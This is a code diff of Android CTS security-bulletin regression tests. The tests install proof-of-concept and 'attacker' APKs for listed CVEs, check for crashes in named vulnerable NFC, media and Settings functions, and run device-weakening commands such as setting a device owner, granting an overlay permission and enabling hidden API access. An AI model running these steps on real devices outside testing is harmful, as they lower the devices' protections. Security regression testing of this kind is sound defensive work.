- private static final String TEST_PKG = "android.security.cts.cve_2021_0685";
- private static final String TEST_CLASS = TEST_PKG + "." + "DeviceTest";
- private static final String TEST_APP = "CVE-2021-0685.apk";
-
- @Before
- public void setUp() throws Exception {
- uninstallPackage(getDevice(), TEST_PKG);
- }
-
- @AppModeFull
- @AsbSecurityTest(cveBugId = 191055353)
- @Test
- public void testPocCVE_2021_0685() throws Exception {
- installPackage(TEST_APP);
- Assert.assertTrue(runDeviceTests(TEST_PKG, TEST_CLASS, "testPackageElementPresence"));
- }
-}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
index 2fc7cee..a8ad254 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0919.java
@@ -18,8 +18,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -36,9 +37,9 @@
public void testPocCVE_2021_0919() throws Exception {
pocPusher.only32();
String binaryName = "CVE-2021-0919";
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
index 2a55a32..6bc6875 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0956.java
@@ -17,8 +17,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -39,9 +40,9 @@
AdbUtils.assumeHasNfc(device);
assumeIsSupportedNfcDevice(device);
String binaryName = "CVE-2021-0956";
- String signals[] = {CrashUtils.SIGABRT};
+ String signals[] = {TombstoneUtils.Signals.SIGABRT};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, device);
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName);
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName);
testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java
new file mode 100644
index 0000000..90d8196
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_0963.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.StsExtraBusinessLogicHostTestBase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2021_0963 extends StsExtraBusinessLogicHostTestBase {
+ static final String TEST_PKG = "android.security.cts.CVE_2021_0963";
+
+ /**
+ * b/199754277
+ * Vulnerable app : KeyChain.apk
+ * Vulnerable module : com.android.keychain
+ * Is Play managed : No
+ */
+ @AsbSecurityTest(cveBugId = 199754277)
+ @Test
+ public void testPocCVE_2021_0963() {
+ try {
+ ITestDevice device = getDevice();
+
+ /* Wake up the device */
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
+ AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
+
+ /* Install the application */
+ installPackage("CVE-2021-0963.apk");
+
+ /*
+ * Set device as owner. After the test is completed, this change is reverted in the
+ * DeviceTest.java's tearDown() method by calling clearDeviceOwnerApp() on an instance
+ * of DevicePolicyManager.
+ */
+ AdbUtils.runCommandLine("dpm set-device-owner --user 0 '" + TEST_PKG + "/" + TEST_PKG
+ + ".PocDeviceAdminReceiver" + "'", device);
+
+ /* Run the device test "testOverlayButtonPresence" */
+ runDeviceTests(TEST_PKG, TEST_PKG + "." + "DeviceTest", "testOverlayButtonPresence");
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
index 6499961..fdc76ad 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_30351.java
@@ -17,6 +17,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
@@ -37,7 +38,8 @@
String packageName = "android.security.cts.CVE_2021_30351";
ITestDevice device = getDevice();
- try {
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("media.codec");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
/* Push the app to /data/local/tmp */
pocPusher.appendBitness(false);
pocPusher.pushFile(apkName, appPath);
@@ -58,11 +60,6 @@
} finally {
/* Un-install the app after the test */
AdbUtils.runCommandLine("pm uninstall " + packageName, device);
-
- /* Check if media.codec has crashed thereby indicating the presence */
- /* of the vulnerability */
- String logcat = AdbUtils.runCommandLine("logcat -d", device);
- AdbUtils.assertNoCrashes(getDevice(), "media.codec");
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
index 873fcc9..f80fdb7 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39623.java
@@ -17,9 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.Arrays;
import org.junit.Test;
@@ -39,10 +40,10 @@
public void testPocCVE_2021_39623() throws Exception {
String binaryName = "CVE-2021-39623";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(binaryName)
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(binaryName)
.setBacktraceIncludes(new BacktraceFilterPattern("libstagefright",
"android::SimpleDecodingSource::doRead"));
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
testConfig.config.setSignals(signals);
testConfig.inputFilesDestination = AdbUtils.TMP_PATH;
String inputFiles[] = {"cve_2021_39623.ogg"};
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
index 49ba33f..549f1fc 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2021_39804.java
@@ -17,9 +17,10 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.Arrays;
import org.junit.Test;
@@ -39,12 +40,12 @@
public void testPocCVE_2021_39804() throws Exception {
String inputFiles[] = {"cve_2021_39804.heif"};
String binaryName = "CVE-2021-39804";
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
testConfig.config =
- new CrashUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
+ new TombstoneUtils.Config().setProcessPatterns(binaryName).setBacktraceIncludes(
new BacktraceFilterPattern("libheif", "android::HeifDecoderImpl::reinit"));
- testConfig.config.checkMinAddress(false);
+ testConfig.config.setIgnoreLowFaultAddress(false);
testConfig.config.setSignals(signals);
testConfig.arguments = AdbUtils.TMP_PATH + inputFiles[0];
testConfig.inputFiles = Arrays.asList(inputFiles);
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20112.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20112.java
new file mode 100644
index 0000000..cc9d347
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20112.java
@@ -0,0 +1,88 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+import static org.junit.Assume.assumeTrue;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.tradefed.testtype.RootSecurityTestCase;
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2022_20112 extends RootSecurityTestCase {
+
+ // b/206987762
+ // Vulnerable module : com.android.settings
+ // Vulnerable apk : Settings.apk
+ // Is play managed : No
+ @AsbSecurityTest(cveBugId = 206987762)
+ @Test
+ public void testPocCVE_2022_20112() {
+ final String testPkg = "android.security.cts.CVE_2022_20112";
+ ITestDevice device = null;
+ int currentUser = -1;
+ int newUser = -1;
+ try {
+ device = getDevice();
+
+ // Device wakeup and unlock
+ AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
+ AdbUtils.runCommandLine("wm dismiss-keyguard", device);
+
+ // Get current user
+ currentUser = device.getCurrentUser();
+
+ // Create new guest user 'CTSUser' for test
+ newUser = device.createUser("CTSUser", true, false);
+
+ // Start new guest user 'CTSUser'
+ assumeTrue("Unable to create new guest user", device.startUser(newUser, true));
+
+ // Switch to new user 'CTSUser'
+ assumeTrue("Unable to switch to guest user", device.switchUser(newUser));
+
+ // Install PoC application
+ installPackage("CVE-2022-20112.apk");
+
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testprivateDnsPreferenceController");
+ } catch (Exception e) {
+ assumeNoException(e);
+ } finally {
+ try {
+ if (currentUser != -1) {
+ // Switch back to previous user
+ device.switchUser(currentUser);
+ }
+ if (newUser != -1) {
+ // Stop user 'CTSUser'
+ device.stopUser(newUser);
+
+ // Remove user 'CTSUser'
+ device.removeUser(newUser);
+ }
+ } catch (Exception e) {
+ // Ignore exception here
+ }
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
index f47ecfc..99a52d0 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20123.java
@@ -17,8 +17,9 @@
package android.security.cts;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
@@ -39,15 +40,13 @@
public void testPocCVE_2022_20123() throws Exception {
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
- String signals[] = {CrashUtils.SIGSEGV};
String binaryName = "CVE-2022-20123";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
- testConfig.config = new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ testConfig.config = new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(
new BacktraceFilterPattern("libnfc_nci_jni", "Mfc_RecvPacket"));
testConfig.config
.setBacktraceExcludes(new BacktraceFilterPattern("libdl", "__cfi_slowpath"));
- testConfig.config.setSignals(signals);
AdbUtils.runPocAssertNoCrashesNotVulnerable(testConfig);
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
index dbb16d7..f9a73e9 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20131.java
@@ -19,9 +19,10 @@
import static org.junit.Assume.assumeNoException;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -42,11 +43,11 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = {CrashUtils.SIGSEGV};
+ String signals[] = {TombstoneUtils.Signals.SIGSEGV};
String binaryName = "CVE-2022-20131";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName, getDevice());
testConfig.config =
- new CrashUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
+ new TombstoneUtils.Config().setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern("libnfc-nci",
"nfc_ncif_proc_ee_discover_req"));
testConfig.config
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
index 8b1cce6..429147f 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20147.java
@@ -19,9 +19,10 @@
import static org.junit.Assume.assumeNoException;
import android.platform.test.annotations.AsbSecurityTest;
-import com.android.compatibility.common.util.CrashUtils;
-import com.android.compatibility.common.util.CrashUtils.Config.BacktraceFilterPattern;
+
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
+import com.android.sts.common.util.TombstoneUtils.Config.BacktraceFilterPattern;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import java.util.regex.Pattern;
import org.junit.Test;
@@ -42,11 +43,11 @@
AdbUtils.assumeHasNfc(getDevice());
assumeIsSupportedNfcDevice(getDevice());
pocPusher.only64();
- String signals[] = { CrashUtils.SIGSEGV };
+ String signals[] = { TombstoneUtils.Signals.SIGSEGV };
String binaryName = "CVE-2022-20147";
AdbUtils.pocConfig testConfig = new AdbUtils.pocConfig(binaryName,
getDevice());
- testConfig.config = new CrashUtils.Config()
+ testConfig.config = new TombstoneUtils.Config()
.setProcessPatterns(Pattern.compile(binaryName))
.setBacktraceIncludes(new BacktraceFilterPattern(
"libnfc-nci", "nfa_dm_check_set_config"));
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
index 3d31cee..98befd4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20197.java
@@ -16,18 +16,18 @@
package android.security.cts;
+import static com.android.sts.common.SystemUtil.withSetting;
+
import static org.junit.Assume.assumeNoException;
import android.platform.test.annotations.AsbSecurityTest;
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
-import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
-
@RunWith(DeviceJUnit4ClassRunner.class)
public class CVE_2022_20197 extends NonRootSecurityTestCase {
private static final String TEST_PKG = "android.security.cts.CVE_2022_20197";
@@ -35,37 +35,11 @@
@AsbSecurityTest(cveBugId = 208279300)
@Test
public void testPocCVE_2022_20197() {
- ITestDevice device = null;
- boolean isPolicyPresent = true;
- boolean isHiddenApiEnabled = true;
- String status = "";
- try {
- device = getDevice();
+ try (AutoCloseable a = withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
installPackage("CVE-2022-20197.apk");
-
- status = AdbUtils.runCommandLine("settings get global hidden_api_policy", device);
- if (status.toLowerCase().contains("null")) {
- isPolicyPresent = false;
- } else if (!status.toLowerCase().contains("1")) {
- isHiddenApiEnabled = false;
- }
- if (!isPolicyPresent || !isHiddenApiEnabled) {
- AdbUtils.runCommandLine("settings put global hidden_api_policy 1", device);
- }
runDeviceTests(TEST_PKG, TEST_PKG + ".DeviceTest", "testParcel");
} catch (Exception e) {
assumeNoException(e);
- } finally {
- try {
- if (!isPolicyPresent) {
- AdbUtils.runCommandLine("settings delete global hidden_api_policy", device);
- } else if (!isHiddenApiEnabled) {
- AdbUtils.runCommandLine("settings put global hidden_api_policy " + status,
- device);
- }
- } catch (Exception e) {
- // ignore all exceptions.
- }
}
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20415.java
similarity index 60%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20415.java
index 8087e69..511cbd4 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20415.java
@@ -1,5 +1,5 @@
/*
- * Copyright (C) 2022 The Android Open Source Project
+ * Copyright (C) 2023 The Android Open Source Project
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
@@ -21,27 +21,27 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
-import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends NonRootSecurityTestCase {
+public class CVE_2022_20415 extends NonRootSecurityTestCase {
- @AsbSecurityTest(cveBugId = 228450811)
+ // b/231322873
+ // Vulnerable app : SystemUI.apk
+ // Vulnerable module : com.android.systemui
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = 231322873)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2022_20415() {
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
- ITestDevice device = getDevice();
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+ final String testPkg = "android.security.cts.CVE_2022_20415";
+
+ // Install the test-app
+ installPackage("CVE-2022-20415.apk");
+ runDeviceTests(testPkg, testPkg + "." + "DeviceTest", "testFullScreenIntent");
} catch (Exception e) {
assumeNoException(e);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
similarity index 71%
rename from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
rename to hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
index 8087e69..62d0f16 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20475.java
@@ -28,20 +28,31 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends NonRootSecurityTestCase {
+public class CVE_2022_20475 extends NonRootSecurityTestCase {
- @AsbSecurityTest(cveBugId = 228450811)
+ /**
+ * b/240663194
+ * Vulnerable module : services.jar
+ * Is Play Managed : No
+ */
+ @AsbSecurityTest(cveBugId = 240663194)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2022_20475() {
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
+ final String testPkg = "android.security.cts.CVE_2022_20475_test";
ITestDevice device = getDevice();
+
+ // Install the test and target apps
+ installPackage("CVE-2022-20475-test.apk");
+ installPackage("CVE-2022-20475-target.apk");
+
+ // Wake up the device
AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+
+ // Run the test "testCVE_2022_20475"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2022_20475");
} catch (Exception e) {
assumeNoException(e);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
index 5c2ce7b..5d3adb8 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_22082.java
@@ -19,6 +19,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -37,11 +38,13 @@
*/
safeReboot();
AdbUtils.pushResource("/cve_2022_22082.dsf", "/sdcard/cve_2022_22082.dsf", getDevice());
- AdbUtils.runCommandLine("logcat -c", getDevice());
- AdbUtils.runCommandLine(
- "am start -a android.intent.action.VIEW -t audio/dsf -d file:///sdcard/cve_2022_22082.dsf",
- getDevice());
- Thread.sleep(10000);
- AdbUtils.assertNoCrashes(getDevice(), "media.extractor");
+ TombstoneUtils.Config config = new TombstoneUtils.Config().setProcessPatterns("media.extractor");
+ try (AutoCloseable a = TombstoneUtils.withAssertNoSecurityCrashes(getDevice(), config)) {
+ AdbUtils.runCommandLine(
+ "am start -a android.intent.action.VIEW -t audio/dsf -d"
+ + " file:///sdcard/cve_2022_22082.dsf",
+ getDevice());
+ Thread.sleep(10000);
+ }
}
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20913.java
similarity index 68%
copy from hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
copy to hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20913.java
index 8087e69..5e4da69 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2022_20347.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20913.java
@@ -28,20 +28,23 @@
import org.junit.runner.RunWith;
@RunWith(DeviceJUnit4ClassRunner.class)
-public class CVE_2022_20347 extends NonRootSecurityTestCase {
+public class CVE_2023_20913 extends NonRootSecurityTestCase {
- @AsbSecurityTest(cveBugId = 228450811)
+ // b/246933785
+ // Vulnerable app : Telephony.apk
+ // Vulnerable module : com.android.phone
+ // Is Play managed : No
+ @AsbSecurityTest(cveBugId = 246933785)
@Test
- public void testPocCVE_2022_20347() {
+ public void testPocCVE_2023_20913() {
try {
- final String testPkg = "android.security.cts.CVE_2022_20347";
- final String testClass = testPkg + "." + "DeviceTest";
+ final String testPkg = "android.security.cts.CVE_2023_20913";
ITestDevice device = getDevice();
- AdbUtils.runCommandLine("input keyevent KEYCODE_WAKEUP", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_MENU", device);
- AdbUtils.runCommandLine("input keyevent KEYCODE_HOME", device);
- installPackage("CVE-2022-20347.apk");
- runDeviceTests(testPkg, testClass, "testBluetoothDiscoverable");
+ installPackage("CVE-2023-20913.apk");
+
+ AdbUtils.runCommandLine(
+ "pm grant " + testPkg + " android.permission.SYSTEM_ALERT_WINDOW", device);
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testOverlayButtonPresence");
} catch (Exception e) {
assumeNoException(e);
}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java
new file mode 100644
index 0000000..659c002
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/CVE_2023_20918.java
@@ -0,0 +1,57 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import static org.junit.Assume.assumeNoException;
+
+import android.platform.test.annotations.AsbSecurityTest;
+
+import com.android.sts.common.SystemUtil;
+import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class CVE_2023_20918 extends NonRootSecurityTestCase {
+
+ // b/243794108
+ // Vulnerable library : services.jar
+ // Vulnerable module : Not applicable
+ // Is Play Managed : No
+ @AsbSecurityTest(cveBugId = 243794108)
+ @Test
+ public void testPocCVE_2023_20918() {
+ try {
+ final String testPkg = "android.security.cts.CVE_2023_20918_test";
+
+ // Install the test and attacker apps
+ installPackage("CVE-2023-20918-test.apk");
+ installPackage("CVE-2023-20918-attacker.apk");
+
+ // Allow access to hidden api "ActivityOptions#setPendingIntentLaunchFlags()"
+ try (AutoCloseable closable =
+ SystemUtil.withSetting(getDevice(), "global", "hidden_api_policy", "1")) {
+ // Run the test "testCVE_2023_20918"
+ runDeviceTests(testPkg, testPkg + ".DeviceTest", "testCVE_2023_20918");
+ }
+ } catch (Exception e) {
+ assumeNoException(e);
+ }
+ }
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
index 4e82953..96ff23a 100644
--- a/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc17_11.java
@@ -20,6 +20,7 @@
import android.platform.test.annotations.AsbSecurityTest;
import com.android.sts.common.tradefed.testtype.NonRootSecurityTestCase;
+import com.android.sts.common.util.TombstoneUtils;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -33,13 +34,14 @@
